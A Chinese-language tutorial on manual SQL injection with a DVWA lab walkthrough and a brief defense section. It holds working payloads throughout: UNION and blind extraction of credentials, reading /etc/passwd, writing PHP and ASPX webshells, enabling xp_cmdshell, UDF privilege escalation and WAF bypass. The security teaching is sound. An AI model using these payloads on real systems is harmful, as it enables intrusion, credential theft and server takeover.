1. SQL手工注入基础概念解析
手工SQL注入是一种通过直接构造特殊SQL语句来探测和利用数据库漏洞的技术手段。与自动化工具不同，手工注入要求测试者深入理解数据库结构和SQL语法，能够根据目标系统的响应动态调整攻击策略。
1.1 注入原理与危害分析
SQL注入漏洞产生的根本原因是程序将用户输入直接拼接到SQL语句中执行。当攻击者提交精心构造的恶意输入时，这些输入会被当作SQL代码解析而非普通数据。典型的注入场景包括：
- 用户登录表单未过滤单引号，导致认证绕过
- 搜索功能直接将参数拼接到WHERE子句
- 排序参数未验证直接用于ORDER BY子句
成功的SQL注入攻击可能导致：
- 数据库敏感信息泄露（用户凭证、个人信息等）
- 数据库内容被篡改或删除
- 服务器文件系统被访问（读取/写入）
- 在特定条件下获取服务器控制权限
重要提示：本文仅用于合法安全测试和教育目的。在实际应用中，必须获得系统所有者明确授权后才能进行任何形式的渗透测试。
1.2 注入类型分类体系
根据注入结果的表现形式，SQL注入主要分为两大类：
1.2.1 普通注入（显错型）
- 特征：错误信息直接显示在页面上
- 优势：可直接观察注入结果，效率高
- 利用方式：常用UNION联合查询获取数据
- 典型语句：
' UNION SELECT 1,2,3--
1.2.2 盲注（非显错型）
- 布尔盲注：通过页面返回的真/假状态判断
admin' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- - 时间盲注：通过响应延迟判断条件真假
admin' AND IF(ASCII(SUBSTRING(password,1,1))=97,SLEEP(5),0)-- - 报错盲注：通过刻意触发SQL错误获取信息
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
2. 手工注入核心流程详解
2.1 注入点检测与类型判断
2.1.1 基础检测方法
- 数字型检测：
?id=1 AND 1=1 -- 正常显示 ?id=1 AND 1=2 -- 异常显示 - 字符型检测：
?name=admin' AND '1'='1 -- 正常 ?name=admin' AND '1'='2 -- 异常
2.1.2 进阶检测技巧
- 注释符测试（判断过滤规则）：
?id=1'-- ?id=1'# ?id=1'/*xxx*/ - 逻辑测试（判断WAF存在）：
?id=1' AND 'foo'='foo' AND 'bar'='bar
2.2 信息收集技术
2.2.1 数据库指纹识别
/* MySQL识别 */ ' AND @@version_comment LIKE '%MySQL%'-- /* MSSQL识别 */ ' AND (SELECT @@VERSION) LIKE '%Microsoft SQL Server%'-- /* Oracle识别 */ ' AND (SELECT BANNER FROM v$version) LIKE '%Oracle%'--2.2.2 关键系统表查询
- MySQL信息架构：
SELECT table_schema,table_name FROM information_schema.tables SELECT column_name FROM information_schema.columns WHERE table_name='users' - MSSQL系统视图：
SELECT name FROM master..sysdatabases SELECT name FROM sysobjects WHERE xtype='U'
2.3 数据提取技术
2.3.1 UNION联合查询
- 确定列数：
ORDER BY 5-- /* 递增直到报错 */ - 确定回显位：
UNION SELECT 1,2,3,4,5-- - 提取数据：
UNION SELECT 1,username,password,4 FROM users--
2.3.2 报错注入技术
- MySQL报错注入：
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) - MSSQL报错注入：
AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))
3. 高级注入技术与防御
3.1 文件操作技术
3.1.1 文件读取
- MySQL：
UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- - MSSQL：
UNION SELECT 1,BULK_COLUMN,3,4 FROM OPENROWSET(BULK 'C:\boot.ini',SINGLE_BLOB) AS x--
3.1.2 文件写入
- MySQL写WebShell：
UNION SELECT 1,'<?php system($_GET[cmd]);?>',3,4 INTO OUTFILE '/var/www/shell.php'-- - MSSQL写WebShell：
;EXEC master..xp_cmdshell 'echo ^<^%^@ Page Language="JScript"^%^>^<^%eval(Request.Item["cmd"],"unsafe");%^>^ > c:\inetpub\wwwroot\cmd.aspx'--
3.2 权限提升技术
3.2.1 MySQL UDF提权
UNION SELECT 1,HEX(LOAD_FILE('/usr/lib/mysql/plugin/udf.so')),3,4 INTO DUMPFILE '/tmp/udf.so'--3.2.2 MSSQL xp_cmdshell
;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--3.3 防御措施
3.3.1 开发层面
- 使用参数化查询（PreparedStatement）
- 实施最小权限原则
- 输入验证与过滤（白名单优于黑名单）
- 错误信息处理（不显示详细错误）
3.3.2 运维层面
- 定期更新数据库补丁
- 部署WAF（Web应用防火墙）
- 数据库审计日志监控
- 网络层访问控制
4. 实战案例与排错指南
4.1 DVWA注入实战
4.1.1 低安全级别
- 判断注入点：
' OR '1'='1 - 获取数据库信息：
' UNION SELECT 1,database()# - 提取用户数据：
' UNION SELECT user,password FROM users#
4.1.2 中安全级别绕过
- 绕过magic_quotes：
1' AND 1=1# - 十六进制编码绕过：
UNION SELECT 1,HEX(LOAD_FILE(0x2f6574632f706173737764))#
4.2 常见错误排查
| 错误现象 | 可能原因 | 解决方案 |
|---|---|---|
| 无回显 | 注入点类型判断错误 | 尝试盲注技术 |
| UNION不生效 | 列数不匹配 | 使用ORDER BY确定列数 |
| 特殊字符被过滤 | WAF规则 | 尝试编码/注释绕过 |
| 文件操作失败 | 权限不足 | 检查数据库用户权限 |
4.3 性能优化技巧
- 减少请求次数：
UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables-- - 二进制数据提取：
UNION SELECT 1,HEX(LOAD_FILE('/etc/passwd')),3,4-- - 条件式注入：
AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97,1,0)
在实际渗透测试中，手工注入的价值在于其精确性和可控性。与自动化工具相比，手工注入可以：
- 更好地绕过WAF防护
- 针对特定场景定制攻击载荷
- 减少对目标系统的影响
- 更精确地获取所需数据
最后需要强调的是，随着网络安全意识的提升和防御技术的进步，传统的SQL注入漏洞正在减少。安全研究人员应当持续学习新的技术，包括但不限于：
- NoSQL注入技术
- ORM框架特定漏洞
- 云数据库安全特性
- 新型WAF绕过技术
真正的安全专家不仅需要掌握攻击技术，更需要理解如何构建安全的系统架构。建议每位学习者在掌握注入技术后，进一步研究安全开发实践和防御体系建设。
